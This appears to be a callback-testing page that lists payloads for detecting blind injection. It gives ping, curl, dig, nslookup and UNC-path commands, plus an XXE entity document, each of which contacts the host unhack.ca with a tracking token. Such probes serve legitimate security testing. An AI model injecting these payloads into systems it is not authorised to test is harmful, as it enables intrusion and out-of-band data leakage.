$ ping -c1 -p 00bd223b832b12b586c10276d9be0500 unhack.ca
 

$ curl http://unhack.ca/p/bd223b832b12b586c10276d9be05
 

$ dig bd223b832b12b586c10276d9be05 @unhack.ca
 

$ dig bd223b832b12b586c10276d9be05.ns.unhack.ca
 

C:\> nslookup bd223b832b12b586c10276d9be05 unhack.ca
 

C:\> type \\unhack.ca\bd223b832b12b586c10276d9be05\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bd223b832b12b586c10276d9be05">]>
    <foo>&xxe;</foo>